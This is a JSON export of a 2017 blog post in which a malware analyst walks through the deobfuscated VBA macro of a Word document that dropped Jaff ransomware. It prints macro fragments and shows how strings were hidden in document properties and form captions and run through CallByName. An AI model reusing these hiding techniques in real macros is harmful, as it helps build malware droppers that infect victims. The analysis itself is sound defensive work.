{"id":867,"date":"2017-05-31T09:18:57","date_gmt":"2017-05-31T08:18:57","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=867"},"modified":"2017-05-31T09:20:29","modified_gmt":"2017-05-31T08:20:29","slug":"2017-05-31-cleaned-up-script-from-jaff-ransomware","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=867","title":{"rendered":"2017-05-31 Cleaned Up Script from Jaff Ransomware"},"content":{"rendered":"

So last week I came across some malspam that used a PDF with an embedded Word document in it that encrypted my test VM with Jaff ransomware which I discussed here<\/a>. Trying to figure out how the script worked, I came across some aspects\/things that I had not seen done before. Here is my walk through of this script.<\/p>\n

I started with the cleaned up scripts that made up the macro by using OfficeMalScanner against the Word document. Once I had the scripts, I walked through the code starting with the “ThisDocument” script. This is where the malicious macro will start from since the “autoopen” subroutine is listed here. What you will want to look for are calls to other sub-routines or functions in the various script files – in this case there is a function called Synomati and it passed the parameter “a4833.” <\/p>\n

\r\nSub autoopen()\r\nSignIn_Fish = 0\r\nSynomati "a4833"\r\nEnd Sub\r\n<\/pre>\n
Looking for “Synomati” in all the scripts, you will see there are multiple hits for it in Module1 and Module2. Start with Module1 and you will see the following function.<\/p>\n
\r\nPublic Function Synomati(Comps)\r\n\tGoTo l12\r\n\tstrComputer = Comps\r\n\tIf InStr(1, strCaption, "Windows 7", vbTextCompare) Then\r\n\t\tSynomati = "Win7"\r\n\tEnd If\r\n\t\r\n\tIf InStr(1, strCaption, "XP", vbTextCompare) Then\r\n\t\tSynomati = "XP"\r\n\tEnd If\r\n\t\r\n\tl12:\r\n\tDim c As STRIX\r\n\tSet c = New STRIX\r\n\tCallByName c, LocalBrowser.T2.Text, _VbMethod\r\nEnd Function\r\n<\/pre>\n
You will immediately go to ‘l12’ which then proceeds to set some variables (one of which is the script STRIX), and calls a function in the STRIX script (LocalBrowser.T2.Text). **Note: this script uses GOTO statements throughout it. When looking through the STRIX script for the function LocalBrowser.T2.Text, I could not find it, but did notice that there was a function called “setAsMainTarget.”<\/p>\n
\r\nPublic Function setAsMainTarget() As String\r\ntt = ThisDocument.BuiltInDocumentProperties("Content status").Value\r\n\tMotoGP = Split(tt, "Abcdef")\r\n\tprivateProbeName = MotoGP(Quubo * 3)\r\n\tprivateProbe\r\n\r\n\tsetAsMainTarget = ""\r\n\r\nEnd Function\r\n<\/pre>\n
This got me thinking – why are there statements throughout the scripts called “LocalBrowser.” and in this one something being referenced in “ThisDocument” and it’s properties (especially the content status value)? After some time and some research, I came across the fact that the “ThisDocument.BuiltInDocumentProperties(“Content status”).Value” is actually found within the file information for the Word document itself.<\/p>\n
\"\"<\/a><\/p>\n
Also, while looking at the code within the builtin VB editor in Word, I noticed that there was a form called “LocalBrowser.” Within this form there were other details that the scripts referenced as you can see below.<\/p>\n
\"\"<\/a><\/p>\n
\r\nLocalBrowser.T2.Text -> setAsMainTarget\r\nLocalBrowser.Label1.Caption -> rundll32.exe \r\nLocalBrowser.Command.Caption -> V\r\nLocalBrowser.ZK.Caption -> http:\/\/\r\nLocalBrowser.OptionButton1.Tag -> Open\r\nLocalBrowser.ToggleButton1.Caption -> Send\r\nLocalBrowser.Label2.Caption -> File\r\n<\/pre>\n
Now that the values for LocalBrowser. are known, and the fact that other values could be referenced from within the actual Word document itself, I could really start walking through the code. The cleaned up code can be found here<\/a>.<\/p>\n
***Note: The functions High4 \/ WidthA and possibly Subfunc, I believe, deal with encrypting the download of the binary from the compromised website since the PCAP has the repeated string of “6WLms4bGcHU5iDixvWv6Wmuql3ILxV8S” in it.<\/p>\n","protected":false},"excerpt":{"rendered":"
So last week I came across some malspam that used a PDF with an embedded Word document in it that encrypted my test VM with Jaff ransomware which I discussed here. Trying to figure out how the script worked, I came across some aspects\/things that I had not seen done before. Here is my walk through of this script. I started with the cleaned up scripts that made up the macro by using OfficeMalScanner against the Word document. Once I had the scripts, I walked through the code starting with the “ThisDocument” script. This is where the malicious macro will…<\/p>\n
 Continue reading<\/span><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"class_list":["post-867","post","type-post","status-publish","format-standard","hentry","category-code"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/867","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=867"}],"version-history":[{"count":5,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/867\/revisions"}],"predecessor-version":[{"id":874,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/867\/revisions\/874"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=867"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=867"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=867"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}